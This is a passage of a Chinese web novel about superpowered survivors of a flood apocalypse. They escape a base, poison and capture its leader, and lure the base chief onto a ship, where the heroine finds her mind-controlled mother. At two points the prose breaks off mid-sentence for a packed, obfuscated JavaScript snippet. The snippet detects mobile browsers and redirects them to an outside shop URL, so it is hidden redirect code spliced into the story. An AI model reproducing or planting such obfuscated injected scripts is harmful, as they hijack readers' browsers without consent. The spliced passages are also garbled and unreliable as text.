苏凤晚：“嘴上没说，行为上倒是一套一套的，我旁边这个不就失去意识了。认一个人，不要听她说了什么，要看她做了什么，尤队长，这些人跟你说是为了救人，然后呢，这些人真的是她们救的？不是她们自己找过来的吗，就像你们一样。” “要是你们自己到了高原，没有这些头头，难道不能在高原上活下来？那她们在所谓的救人活动中起了什么作用呢？对了，你是不是一直没有收到前面队伍的消息，是不是她们压根没有联系你们打算，就是想放弃大部分幸存者，只要她们自己活着就行了！你看，现在她们压根不想告诉整个基地的人，要真像她们说的那样，为什么怕更多的人知道？” 尤晴彻底动摇：“施组长，为什么没有公布消息给其他人？” 对面换了最初略显冷淡的人：“你们的话未免也太多了，尤队长，有什么话回到控制室我们慢慢说，不要被其他人三言两语蛊惑。” “不行！”所有人都吓了一跳，向着声音来源看去，却见十几个幸存者不知什么时候出现在周围，将刚刚发生的事听得一清二楚。 先前那警报，多少有些人想弄清楚究竟发生了什么，没想到竟然还有这么大的瓜。 甚至还关心到自己。 “施组长！为什么不告诉大家，我们也有知情权吧，难道是是什么我们不能知道的事吗？” “真的可以拯救全人类吗，这么好的事却不跟我们说，该不会像那个女人说的那样，因为你们根本没有考虑我们的死活，只要自己能活着就行？” “施组长！为什么不公开！如果真的是救世计划，我们也可以帮忙啊！” “施组长……” “施组长……” 七嘴八舌，那头嘈杂两秒，下一刻所有抓捕小队的腰间都响起暴躁的声音。 “为什么会有无关者听到！你们究竟在做什么！” “滋滋——” “现在立刻把人带过来，其他事不要管。” “滋滋——” “分出人手把无关者看管起来，立刻……现在没有别的办法！难道你——” 对话戛然而止，那头似乎陷入了争吵，但所有人都听得出那几句话的意思。 她们的确不想其他人知道。 抓捕小队没有立刻做出反应，但那些幸存者们炸开了。 凭什么不让她们知道！是不是真的心虚了！ 最初迁徙的时候，官方集中转移所谓人类精英，无数的普通人在最初就被放弃了生命。而现在呢，是不是又是一场放弃为主的“救世”？ 尤晴也愣住了，她没有想到这一切还能有分歧，难道真的如苏凤晚所说，所谓的救人真的要分三六九等吗？ 她从来不认为有什么人更高贵，更值得被救。就像她在带领队伍时，异能者绝对不是最重要的。甚至，为了救更多的普通人，为了不让普通人觉得无助活着随时可能被放弃，异能者几乎是为了普通人服务。 她们都在洪水天灾下生存，能力越大责任越大，她一直坚信，异能者之所以有异能，是因为上天让她们能够有能力救更多的人。 可是，现在有人骗她，她们嘴上说着要救所有人，但其实，可能只是想救自己，或许只是救一小部分人。 尤晴侧眼看见一个抓捕小队的人要控制住一个幸存者，她下意识将人挥开，然后呆愣了两秒。 她的潜意识已经替她作出了决定。 她不想让基地上层封锁这个消息，所有人都有资格活下去，就算那些机会渺茫，最终活下去的人也只有一小部分，但绝对要公平，不能让普通人就这么不明不白被放弃。 苏凤晚大喜。 李自连忙用力搪开身上的铁丝网，没有人看管压制，李自终于掀翻了铁丝网。 出现在周围的幸存者越来越多，几乎都得知了这个消息，她们没有关注这边。 李自扛起昏迷的李艳梅，之前她帮了忙，这也算是入伙了。 然后三人偷偷摸摸绕着人群走，直到全部脱离人的视线，才狂奔起来。 “周莹！基地闹起来了！我们去哪儿汇合！” 苏凤晚边跑边回头看去，希望没有人追来。 但她们跑出两三百米后，终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037142|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是有人看见了空荡荡的铁丝网，有人追来了。 速度最快的尤晴不在其中，苏凤晚松了一口气。 还好，还好，两条腿的是真的干不过长翅膀的。 周莹传来她们的位置，但为了节约时间，她们也只能选择离自己最近的基地出口，反正差不多都被夏语冰河陈师望毁了，她们没有墙的阻隔。 终于，遥遥相望，苏凤晚甚至觉得身体里的力气莫名又出现一股，脚步更快。 “苏凤晚！李自！” 陈师望高兴大喊，又看向萧顺清，欣喜得躁动不安：“我们现在自己跑回去？” 萧顺清点头，所有人调动全身肌肉，几乎跑出残影。 就在她们以为至少短时间内不会被追上时，眼前几乎是一闪而过，两道黑影出现在所有人眼前，逼得她们急刹车。 雨越下越急，空气里的心跳声不知道是谁的，几乎要和轰隆的雷同频。 没有人说话。 明明就那么两个人，却让所有人感觉到莫名的危险。 周莹吓得退后一步。 那两人背贴着背，不像是正常的姿势，反倒像是被黏在一起，形成一个双头厮守四足的怪物。 “你们还想跑到哪里去呢。” 轻柔的嗓音，让追上来的苏凤晚和李自浑身一颤。 “你，你就是那个施组长……” 她们怎么也想不到，那个能够让尤晴如此相信的施组长，会长成这样一幅样子，明明看着就十分不可信啊，为什么会有人愿意相信这样的人。 施组长微微一笑，却没有调动脸上的肌肉，显得格外虚伪。 与之相反的，是她的声音变得充满蛊惑，好像有一种魔力，让人忍不住想要去听，去相信。 “不必害怕，也无需逃跑，我们的目的是让更多人活下来，包括你，包括我们所有人，只要有意思机会，我们都不会放弃任何一个人，单打独斗怎么能抵抗天灾，我们人类只有团结起来，才能战胜一切，来吧，我们好好谈谈。” 苏凤晚下意识向前一步，撞上萧顺清的后背。 萧顺清莫名奇妙，转头却看见周莹也眼神迷离迈出步子，她连忙一把拉住，回头看去，夏语冰，李自，苏凤晚，周莹都是一副想要去那人面前的样子。 萧顺清心头一紧，将人拉到身后。 “你对她们做了什么？你的异能是什么，蛊惑人心吗？” 陈师望看看这个，看看那个，鸡皮疙瘩都起来了。 “这是都中招了吧，怎么办……” 施组长惊讶，不过由于她稀缺的面部表情，那惊讶显得十分微小。 “你们两个，异能等级很高。” 她这么说着，又喃喃：“好像有点难办了啊。” 萧顺清喝到：“跑！” 陈师望抓着李自和苏凤晚，她抓着另外两个，分向两边跑去。 但被蛊惑的几人极为不配合，像是失去自我意识的木偶，脚步被她们一拉就动，脑袋却还频频向那女人望去。 萧顺清心知这样不行，立刻向陈师望喊道： “陈师望，把她们装起来推下去！” 基地修建在高处，地势上可行，而她们兵分两路，那女人和另外一个显然是黏在一起的，根本不可能分头追上。 但是，施组长不偏不倚，冲着萧顺清这边来了。 萧顺清知道这是为什么。 因为其他人被控制住，陈师望用了异能，他显然不是对方的目标。 而她，异能不确定，还能活动，绝对是第一个要被关照的人。 60.通话 尽管施组长背后粘着一个人，但她的行动并不迟缓，甚至跟瞬移没有区别。 萧顺清心知自己是肯定跑不过这人，但是与此同时，她的脑子里不断回想着任何一点可以让自己逃掉的可能性。 施组长，为什么会有两个异能？ 她明明可以瞬移，却又能够蛊惑得等级比她低的人甘愿听从她的话，观察被蛊惑人的眼神，可以说是神志不清。 跟她背后那个人有关吗？两个人用了某种方法被融合在一起，所以有了两种异能。 而且，根据苏凤晚和李自之前的信息，她们在测试时应该看见了一个拥有瞬移异能的人，那时她们的表现很正常，也就是说“瞬移”那个时候肯定不是这幅鬼样子。 也许是这个基地有两个瞬移，但萧顺清暂时只想相信这一种可能，毕竟如果是临时黏合的，她逃跑成功的概率更大。 萧顺清一脚飞踹，瓶子里装着的两人骨碌碌从斜坡上滚下去，滚筒洗衣机体验卡—— 周莹脑袋磕磕碰碰，觉得自己好像清醒了，但因为无法停下的旋转，更想晕过去。 萧顺清管不了她们了，最危险的是她自己。 施组长也许是想装一下，每次都瞬移到她面前两米处又开始走路靠近，她勉强能左右急刹车换方向。 条条大路都下坡，光是看那装着人的瓶子滚动的模样也能知道这坡是又长又斜。 施组长出现在正前方两米，正要跨步，而这一回，看见施组长出现在自己眼前后，她并没有停下，而是就地一滚，抱着后脑护住脊柱，蜷缩成一个球状，就这么撞了上去。 施组长始料未及，没来得及用异能躲开，紧接着就被萧顺清抱住了双腿，整个身体和萧顺清一起被地心引力带着向下。 萧顺清也同样脱不了身，她挤进施组长背后，用手肘拼命抵着，但是无论如何，这两个人都难解难分。 施组长回过神来，意识到她想做什么，眼神一厉，这就使用异能让自己转移到别的地方去。 但她没想到，萧顺清挤在两个背靠背的人中间，竟然被带着一起瞬移了。两人都愣了一下。 施组长当然知道瞬移异能能够带人，不过她不是这异能的原本拥有者，所以使用起来有些不顺手。 怔愣了两秒之后，她想到萧顺清这是自投罗网，把自己卡在她们两个中间，尽管有点狼狈，但管它什么姿势，只要能把人带回去，她就达成了目的。 于是，她当即要瞬移回基地。 可就在这个时候，一个不明物体砸中她脑袋，她张了张嘴，没反应过来，萧顺清又往她嘴里塞了个什么东西。 做完这一切，萧顺清立即用手扣住地面上的草，顺势脱离两个人中间。 手指甲被泥沙和石粒磨得出了血，但她穿了两口气，仍旧站起来，身体绷紧，紧张的看着那两人的状态。 从见面之后，除了施组长，另外一人始终一言不发，更像是个寄生在施组长身上的人型瘤子，不会思考没有意识，而萧顺清刚刚扑近她们，也验证了这一点。 两个人的黏合状态，只有施组长保持了清醒，并且由她一个人使用两个异能。 不能用物理方式分离两人，就只能将施组长放倒了。 施组长嘴里含着一个干巴巴的东西，她倒是警惕，没有咬，只用舌头顶出去，但是不知道为什么，她的舌头迅速开始发麻，喉咙也肿胀一样堵住了呼吸处，脑子本就在不停翻滚旋转中缺氧，这一回直接开始眼冒金星。 甚至，她好像看见了萧顺清身边出现很多小黑影，不知道是什么东西。 施组长终于停在一个土坎处，身体猛地一撞，两具身体就这么分开。 陈师望那边，见施组长并不来追他，便想要安置好几个失去意识的人之后过来帮忙。 但是萧顺清解决得快，他刚过来，便和萧顺清一起看见了两个人分开的场面。 “这就解决了？那我们赶紧跑吧。” 陈师望觉得还是先走为上，但还有其他伙伴需要关注。远远的，其余人也从瓶中爬了出来，在原地统统五体投地，不知是不是吐了。 萧顺清喘了口气，道：“先等等，把这块石头变大。” 刚刚破坏基地围墙，她下意识就捡了些石头防身，一块平的，两个手掌大小，但是很尖锐，几个拇指大小，没什么重量。 先前第一次打击施组长，就是用的稍大那块石头，但显然只能把她打蒙，还好她还有后手。 陈师望顺从地将石头接过，又顿了一下，提议：“我把石头放那两个人身上再用异能吧。” 那个施组长之前说她们两个异能等级较高，她们也没有多惊讶，陈师望和她的异能就是升级得很快。 陈师望和苏凤晚速度其实差不多，但他的确是稍微快一些，也没有瞒着其他同伴。 而船上的众人中，萧顺清的等级是众所周知的高，毕竟她从来没有停止过对异能的使用。这还仅仅是表面上的，而萧顺清自己知道，因为船上的人数增长，她的异能等级几乎连跳三级。 现在的船体大小，是她表现出来的“合理”等级。 她不知道其他人有没有特别的升级方法，但她喜欢自己给自己留后手，尤其是在岸上她没有别的攻击手段时。 譬如这次下意识揣了石头在身上。 陈师望把石头放在两人身上，随即使用异能，那小小的石头变成桌板大小，至于重量，一块石头大概有两百斤。 被压在石头身下的人痛苦的喘\息，不出意外肯定是跑不掉。 陈师望观察施组长的状态，仍旧昏迷不醒，嘴唇青乌，已经是中毒状态，他吃了一惊。 “这是怎么了？” 萧顺清也走过来，撩开那个瞬移异能者的脸，对方的眼皮动了动，是张平平无奇的脸，似乎快被沉重的“被子”压得苏醒。 “小心她醒过来，她能带人瞬移，说不定也能带着石头走。” 废了这么大一番功夫，不能马失前蹄让人跑了。 陈师望可惜道：“不能再加石头了，再重人就死了。” 萧顺清同样目露惋惜，随即又闪过一抹精光。 “瞬移应该不包括穿墙之类的吧，你把她也装进瓶子里。” 陈师望的异能之所以升级得快，是因为他的异能看着不酷炫，但实际上真的好用。 一番折腾，施组长双目紧闭，嘴角白沫都吐出来了，中毒不轻，两个都连人带石头都进了瓶子，极大概率堵死了对方逃走的可能性。 几个吐得昏天黑地的人也连滚带爬汇合过来。 “现在，现在怎么办？带人回去吗，呕。” 苏凤晚干呕一声，连忙又给自己灌了几口水。 “太麻烦了，要不就把人弄死我们逃了再说。”李艳梅也醒了过来，她目光冷冷的，说出的话也很狠辣。 萧顺清略一思索，还是觉得只是逃走并不能安心。 她虽然知道这些人要抓她，但不知道为什么要这么做，也许她的异能对她们而言真的很重要。 重要到，有可能会在她们逃走后，还追杀上来，到时候就不只是这么个嵌合体，而是更难对付的一大群人。那样东躲西藏的日子，迟早会正面遇上。 她想要从这个施组长口中知道更多信息，才能做更周全的打算。 “周莹，联系之前那两个异能者。人还不能弄死，先带回去，有用。” 她既然说有用，其他人也不再提议，李自自发上前，想要扛起两个瓶装人，但由于石头的滚动，那位瞬移异能者终于被砸醒。 她一睁开眼，看清自己身处什么地方之后便挣扎起来，其他人也发现她醒了。 眼下不是审问的好时机，萧顺清只是看了看，盯着她有没有尝试瞬移。 事实是，瓶中的人身形有好几次虚影，但并没有成功逃出去。看来物理关押有用。 萧顺清放心了，上了船慢慢审问，这样也不怕人跑了。 不过事情有点波折。 “她好像不会说话。” 苏凤晚提醒众人，瓶中的女人惊慌失措，张嘴似乎像求饶，但没有任何实际的声音。 周莹自觉使用异能联系她，这种面对面，她不需要知道对方的名字也能联系，但是很奇怪，她明明感觉到异能使用成功，却无法再对方的脑海里发出任何声音。 “怎么了？” 周莹心里不是滋味。她的异能使用后是在对方耳边响起对方的声音，而这个女人同样是哑巴，自然没有办法“听”见自己本不存在的东西。 “她也是个哑巴。” 萧顺清顿了一瞬，如果是个哑巴，还是周莹都无法沟通的那种，那留下的意义似乎不大。 她与被困住的人对视：“你识字吗？” 女人老实巴交，闻言惊恐的瑟缩，看样子是不会。 萧顺清这下是真的想把人处理了。 但是这又是她抓来的活口。 “这不是还有一个吗，话说，这个施组长是怎么回事，跟中毒一样。” “就是中毒。”萧顺清轻描淡写，“船上的毒蘑菇熟了，我喂了点给她。” 也不知道品种，反正就是很毒。 其他人纷纷沉默，这可不比从前。从前医院建在，每年死于毒蘑菇的也不在少数，现在中毒了，是不是只有死路一条？ 怪不得萧顺清为那个哑巴女人纠结，这个姓施的，估计离离世不远了，她还想拿到线索，只能从这个女人口中得知。 “无碍，船上现在那些人最多能威胁到尤晴，这两个没死就暂时关着，左右跑不掉，死了就算了。” “也是，之前在未来基地的时候，我看这个施组长好像地位很高，说不定这次就能好好谈谈了。” 萧顺清点头，反正这两个人要么死了，要么做俘虏，没有第三种选择。 苏凤晚总觉得自己有什么事忘了告诉大家，刚刚一顿旋转，脑子更加嗡嗡作响，什么也想不起来。 直到匆匆回到船上，她才找到萧顺清。 两人对视，苏凤晚也不说话，只是反复打量萧顺清的眉眼。 萧顺清挑了下眉：“有事？没事的话就去做好应战的准备，也许基地的人很就快到了。” 苏凤晚叹了口气：“萧顺清，你跟你妈妈长得像吗？” “为什么突然提起这个？”萧顺清几乎一下就警觉，“你在基地看见了跟我长得很像的女人？” 苏凤晚迟疑了一下，缓缓摇头：“一点点像，只是一种奇怪的感觉，细看，其实并不像。” 那个女人木讷呆滞，眼神浑浊，周身气质与萧顺清天差地别，那种奇怪的相似一瞬间便冲淡了。 萧顺清扭头看了一眼船舱，密不透风，连只蜜蜂也飞不出去。 “我和我妈妈长得并不像，但是，几乎见过我们两个的人都会说，我们有一双几乎一模一样的眼睛。” 苏凤晚咽了咽口水：“那，或许有可能。她是给我们测试异能的人，但是，小萧顺清你要做好心理准备。” 萧顺清看起来很平静，只是轻轻嗯了一声。 苏凤晚吸了一口气：“她好像神志不清，有可能，是跟我们之前一样，被人用了催眠蛊惑之类的异能。” 总之状况不太好。 苏凤晚以为萧顺清会很难过，很焦急，或许还会失控地想要让基地的人交出她。 但是萧顺清从始至终很平静，不是死寂，而是淡然，甚至还笑了一声。 “谢谢你，去忙吧。” 苏凤晚纠结了两秒，还是问了：“你不开心或者担心吗？” “挺开心的，至少她活着。担心的话，也很担心，不过跟未来基地的事不是我担心就能如我所愿的。也许跟她们聊聊，最后一切都能有结果。” 无论是好是坏。 苏凤晚沉默了。 看着萧顺清离开的背影，她有些不明白。 萧顺清对自己的亲人很看重，可是对自己父母的态度却……不说冷淡，就是太温和了。难道她和父母的关系不好？ 如果是那样，倒算得上是个好消息。 那人情况不怎么样，关系一般不会过多影响萧顺清的心态。 在她不知道的地方，萧顺清独自一人，闲适淡然的背影忽然弯了腰，手撑着墙壁，一副脱力的状态。 她闭上眼睛，让脑子完全清空一瞬。 很快，她又直起了身子。 真巧。 但没关系，就像她说的那样，不管是好是坏，她们都要通过与基地面对面才能进行谈话。 有人在敲门，早已恢复平静的萧顺清开了门。 是李自。 “怎么？” 未来基地的人还没有到来，有可能是她们并不重视速度相关异能者导致的，根据周佳燕的信息，有很多普通异能者都被“送”出了基地。 未来基地的上层更重视特殊异能。 但是或许是基地的人还有别的打算。 李自来找她并不是关心未来基地的人，而是更近在眼前的人：“二楼的人怎么办？” 萧顺清假装侧耳，实际用异能查看二楼的状况，依旧愤怒，依旧狂躁，也依旧拿她的船没有办法。 “不用在意，我留着她们只是为了发挥最后的作用。” 李自默然。 萧顺清知道他心里不好受，“我不一定会弄死所有人。” 李自哑然：“……” 安慰没有起作用，李自神色暗淡地离开了。他走了，萧顺清才看见夏语冰在他背后。 二楼完全封闭，回到船上的夏语冰和李艳梅自然上了三楼，后者进入一间房内休息，夏语冰则是有点无所事事。 萧顺清露出一个疑惑的视线。 夏语冰挤出一个笑：“刚刚尤晴联系了我。” 通讯异能的确会被基地留下，未来基地能够联系船上的人也在她意料之中。 “她说什么？” “她希望我能跟你求情，不要对船上的人下手。”她尴尬一笑，嘴角都僵硬了。 刚刚李自和萧顺清的话已经连同她一起回绝了。 “你怎么想？”萧顺清反问她。 夏语冰对上她的眼神，眼里慢慢涌起坚定：“我只想好好活着，如果能让我在船上活得好，我不会为了其他人得罪能让我过得好的人。” 萧顺清点头：“没事，也许都要死。” 夏语冰：“……” 虽然刚刚已经在李自被后领教了萧顺清噎人的说话风格，但还是亲身体会更让人心里一梗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114698|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧顺清又说：“但在船上的人，死得应该会更晚一些。” 夏语冰点点头，表情有些害怕，也有些释然。 萧顺清往她身后看了看，没人找她了，她也得出去看看。 “尤晴一会儿再联系你，拜托你帮忙传个话，让她们直接跟我聊，既然能够联系到这边，那就不要这么偷偷摸摸的打敲边鼓，敞开天窗说亮话，也许能保住更多人的命。” 话音刚落，萧顺清耳边响起一道女声。 “你好，我是方柏霓。” 冷冰冰的声音，尽管有礼貌，但那孤傲的语气仍旧让人能够品出一丝不情不愿来。 这个方柏霓并不想直接联系萧顺清，只是迫于无奈。 萧顺清没有第一时间回话，只是看向在方柏霓声音出现后停在原地的夏语冰。 见她神情，便知道这传音是能够被其他人听见的。 不一会儿，几扇房门打开，步履匆匆的众人或快或慢出现在萧顺清身边。 萧顺清才道：“方女士，不怕您笑话，刚刚才提到您，就收到通话，不会是您在监听我们吧？” 方柏霓冷冷嗤笑一声。 “你们抓了施道玄，难道不正是想让我们主动联系你？既然你不愿意来基地，那就这么谈吧。” 萧顺清笑了下。 “我吗？方女士，我去了基地也没有用啊，您要是想凑个人头祭天，那我可能还真能算数，不过，那我可绝对不敢去。” 方柏霓：“不用装了，你们的人，异能就那么几个，来回确认自然能够确定谁是我要找的人，不是所有人都会被你们拙劣的伎俩蒙骗。” “哦？”萧顺清挥了挥手，让几人让开一条道路，来到关押施道玄和那个哑巴女人的房间前。 这两人一个畏缩在角落，不敢看外面，一个昏迷不醒，整张脸都开始青紫。 “既然方女士这么认为，那我暂时也认了，不过方女士到底意欲何为啊，我怎么到现在还不知道呢？” “我知道，你这种人心里没有大义，我也不会浪费口舌和你讲什么救世，因为我不相信你真的是我要找的那个人。但是我不得不为了所有人来确认。既然你不愿意自己来基地，那我就请你过来，好好验证一下你是不是冒牌货。” 一口一个“你这种人”，一口一个“不得不为了”，这个方柏霓还真是委曲求全，而她萧顺清自然是一个入不了她眼的小土块，连拦路石都算不上。 萧顺清勾起一抹笑，没有急着回答。 苏凤晚听到她们要验证，便立刻想起了那个疑似萧顺清母亲的人。 异能名字，只有她能确认吧？ “萧……”她甫一开口，萧顺清便制止了她。 萧顺清叹了口气。 “方女士，我真的搞不懂你的用意了。你这到底是不相信我是救世主，还是你不需要真正的救世主，你只需要这个人的异能，也许是像施道玄那样，只要融合，异能就能为任何人所用，我只是一个没有意识的挂件，而你，是全人类的救星。” 方柏霓：“你在害怕？” 萧顺清叹息：“对啊，因为我有巨物恐惧症，啊，你的智商听得懂这个梗吗？就是说你是大傻……” “萧顺清！” “谁把我的名字告诉了你？尤晴？” 方柏霓：“这不重要，萧顺清，有些事不是你能阻止的，人类要延续文明，终究是要舍弃一些东西，比如一小部分人。” 萧顺清：“我赞同你的观点。” 方柏霓长久的怔愣住。 “所以方……我想我应该用更正式的职位称呼你，那就和是组长一样吧。方组长，我们不一定需要极致对抗，你也说过，我不一定是真正的救世主，但是如果我是，并且我愿意这么做，是不是还有商量的余地呢？” “方组长，你考虑一下不要跳过说服我的桥段，毕竟，我很乐意。” 萧顺清在心中默默补充道。 我很乐意……牺牲一部分人。 方柏霓笑起来：“你如果愿意这么想，那事情就好办了，你到基地来，我们做测试，在那之前，我可以和你聊聊，不过也许施组长更能说到你心坎里去，你不如问问她。” 萧顺清语气无辜：“抱歉啊方组长，施组长之前和我沟通时不太愉快，我情绪稍微激动了些，现在可能是开不了口了，你不如直接跟我说吧。” 方柏霓又再次提高了声调，显得有些急促锐利。 “你把她怎么了？” 萧顺清：“我一句两句可说不清楚，您要不亲自到船上来看看？最好带上治疗系异能，我恭候大驾。哦，抱歉，你不来也行，只要那个测试的人来就行，毕竟，一举两得嘛，省得你路途奔波。” 基地内，方柏霓坐在轮椅上，目光森然看向地面上的尤晴，一寸一寸，像是要将她每一寸血肉都挖出来看得清清楚楚。 她轻声呢喃：“是你告诉她的。” 尤晴沉默着，她闭上眼，不作任何回应。 萧顺清听见了那一句低语，只是轻声笑笑，将这场对话最开始的讽刺还给了她。 “方组长，不是所有人都会被你们的伎俩，不对，是伪装蒙骗，我确实有点小聪明。” 方柏霓想要知道船上的所有事，尤晴是最好的信息提供渠道，可是，这个渠道真的可靠吗？ 尤晴还是会因为她所在意的人反过来向她们提供情报。 况且，萧顺清补充道：“方组长，你真的能够确定，尤队长说了全部吗？她可是会两面送消息的人，况且尤队长记性不好，毕竟光长羽毛不长脑子，可能她忘了，我们船上，真的还有一个人。” 方柏霓目光落在尤晴身上，尤晴紧张吞咽，她从未如此害怕一个人的目光。 但是，她想说她谁也没有骗，方柏霓也好，萧顺清也好，她已经不知道谁对谁错，她只能顺应时机，谁问她，她都不隐瞒。 所以，萧顺清说的到底是谁？ 尤晴忽然想起一个只有一面之缘的人。 她真的就只见过那一面，一张扔在人堆里捡不出来的脸，一道柔弱地躲在所有人身后的影子。 她叫…… “陈阳，她们中，还有一个陈阳。” 一个方柏霓完全没有听过的名字。 方柏霓呼出一口气，几乎又要掀了桌子。 “为什么之前没有告诉我？” 尤晴：“因为我只见过她一次，后来在船上，我再也没有看见过她。” 一个极少出现的人，一个只待在船上的人。 尤晴回忆时，目光忍不住落在方柏霓的腿上。 她道：“她，是个残疾，少了一条腿。” 方柏霓的手落在轮椅上，几乎在一刹那，心里的天平失重般倾斜。 多么命中注定，她，一个不良于行的人，致力于寻找救世主，而有一个人，和她一样不良于行。 仿佛残缺的双蝶玉，命中注定为了对方而生，她们是天生的一体，是神灵选中的队友，只有找到彼此，才能拥有救世的力量。 方柏霓的声音忽然有些沙哑：“我要怎么才能见到她” 萧顺清笑着，声音很轻：“你何必这么着急，总要先确认，不要白跑一趟。你放心，我会竭尽全力，让你的救世计划成真。” 61.从前 萧顺清的身边没有再响起别的声音，通话停止。 知情者目光复杂的看向萧顺清。 苏凤晚想要说话，又投鼠忌器，担心基地那边的后手。 萧顺清摆摆手，表达出自己没有聊天的意愿。 她知道她们想问什么。 陈阳是什么异能，她们也知道，所以刚刚萧顺清就是将陈阳推出去当挡箭牌。 仗着其他人并不了解全部，还想着最后骗一手。 她们都以为基地的人推测出萧顺清的异能后，萧顺清会直接承认，再进行后续的安排，但萧顺清真的就这么硬生生的骗。 让那个方柏霓以为她为了活命可以出卖那个船异能的人。 偏偏陈阳的状态真的有可信度，有时候，人们总会忽略第一次找到的显而易见的答案，反而更相信冥冥中的暗示，喜欢抽丝剥茧，以为需要更多计算的东西才是正确答案。 就像是考试时总会有人将正确答案涂改，并最终一步步坚信自己改得很对，挽回了失分点。 只是这样真的对陈阳好像不太公平。 “那我接下来怎么办，她们会派人上船吧。” “大概率。” 果然，基地的人终于到了，不过阵仗有些出乎萧顺清的意料。 萧顺清在船内可以通过改变船结构，随时转换位置，她心中一动，脚下的位置便成了船头。 她站在三楼，巨轮上，她可以俯视着那些人，即使人类的身躯不比蝼蚁，在这艘巨轮之上，她看众生也不过蜉蝣。 来人在离河岸几米处停下，纷纷仰头看着这巨大的轮船。 大部分人眼里，是兴奋，是期盼。她们看见船，就像重病者见到医生，像迷航者见到灯塔。 萧顺清不想知道那些情绪从何而来，她只是站着，从每一张脸上扫过去。 当看见一张麻木的脸时，她呼吸顿住，又转换视线去了其他人身上。 一百多号人，说是想要来直接抢人或者抢船的也差不离。 人群最前方，还有一位特别引人注意的存在。不会有任何人忽略她，因为在一众健康壮硕的人群里，这个坐着轮椅，在雨中有几分萧瑟的身影如此特别。 轮椅上的人似乎也抬头看来，没有什么阻隔，明明看不清彼此的眼神，却仿佛觉得她们的视线交汇了。 “我来了。” 方柏霓的声音响起，但萧顺清的反应并不如她的意。 萧顺清的声音有些冷淡：“你可没说，会来这么多人。” 方柏霓：“有什么区别？” 萧顺清：“有诚意和没诚意的区别，靠交易达成合作，却有人想靠外力掀桌的区别。” 方柏霓轻声笑了一下，冷傲的声线让人觉得她的笑也是高高在上的，似乎在嘲笑她的怯懦。 “你害怕。”并非疑问句，她对萧顺清下了这样一个定义。 萧顺清反问：“哦？我怎么觉得，是越胆小的人，越需要更多的武装呢？” 方柏霓平静道：“不用废话，我带她们过来，也不代表我会带着这么多人上船，我的目的是陈阳，和你，是合作关系，对吧？” 她带着这么多人过来，顶多起个威慑作用。她也防着船上的人给她设鸿门宴，和萧顺清仅凭一次通话，她并不能完全信任对方。 当然，同理，她也能够理解萧顺清不信任她。 “所以你们打算上来几个人，最好现在就分开行动，不然会很让人误会。” 方柏霓回过头，吩咐了几句，留在她身边的人只剩下三个，和身后的大部队中间出现一条空白地带。 萧顺清发现，那个熟悉的身影在其中。 但她并不满意：“四个？” 方柏霓：“你还有什么不满意？” “多了。” “萧顺清，别太得寸进尺。四个人是我的底线。” 萧顺清轻飘飘：“底线这种东西，可以为了大局让一让。我其实只能接受你一个人上来，单刀赴会，怎么样？” 方柏霓气笑了。 “说好的我需要验证她的异能，你是想反悔？” 萧顺清：“难道四个人都是检测异能，而且少了一个就测不出来？方组长，事先可没跟我说这个事儿啊。” 方柏霓不解：“多两个人上船又能怎么样？萧顺清，你不会在诓我吧。” 萧顺清叹气：“方组长，我是怕你害了我，难道有人上船，船的主人会不知道吗？我是可以冒险，但不能冒可能没有收益的险。” 方柏霓沉默地思考，萧顺清没有着急，她只是看着雨中的那两人。 如果方柏霓就这么轻易答应了她只两人上船，萧顺清对她的计划又有了别的猜想。 谈判嘛，重要的不是对方说了什么，而是她的话，她的行为所透露出来的一切信息。 方柏霓答应了。 萧顺清无声勾了下嘴角，眼里却有些清冷。 方柏霓妥协了，最容易推测出的原因就是，她很着急。 方柏霓所面临的情况逼迫她尽快找到计划中的重要角色，否则，一切都会泡汤。 “三个，我需要带一个治疗，让我见施道玄。” 萧顺清状似考虑了一会儿：“好。” 三人上了船，还没来得及看清船上的布局摆设，天降铁墙，一瞬间将三人隔离开来，在平稳地难以察觉的脚下变换后，她们各自出现在不同的房间。 船上的房间，不通电。 日光暗淡，屋内也昏暗阴沉。方柏霓从铁板将她们分隔开后就沉默地坐着。 她不傻，她意识到自己被骗了，一个简单的骗术，她居然真的上当了。 萧顺清如果不是船的主人，怎么可能做到如此及时的操控船只？萧顺清误导她怀疑一个素未谋面的陈阳，就连尤晴也反过来验证了她的话，可是，偏偏她一开始怀疑的萧顺清才是正确答案。 而且，她想必很骄傲，一言不发将她抓起来，却不现身，是对她的愚蠢感觉到不屑，不屑于再跟她谈论这件事。 “萧顺清，你真的，很惹人厌。” 惹人厌的萧顺清主观意义上并非她所想的，故意耍她。她只是，有更在意的人要见。 两人相隔两米，死寂一般。 萧顺清只是用目光描过女人的眉眼，描过她佝偻的身形，不知不觉间，她的眼睛好像被人蒙上一层纱，她安静地流着泪。 过了好久才从哭腔里挤出一个字。 “妈……” 没有回应。 妈妈就那么坐着，像极了一具失去灵魂的空壳，不看她，也不看别处。 萧顺清没有动作，只是默默地哭着。 不哭出来的话，她感觉自己要撑不住了。 好像，那泪水会从四肢百骸流向心脏，将它淹没直至窒息。 “为什么会变成现在这样呢？” 萧顺清不知道她经历了什么，也许她应该问问另一个人。 她整理了眼泪，直到走之前，也没有拥抱，没有回应。 方柏霓终于等到了她。 喑哑的嗓音如此不甘，却强撑着笑。 “你赢了，你害死了全人类。” 萧顺清等她说完，沉默两秒才道。 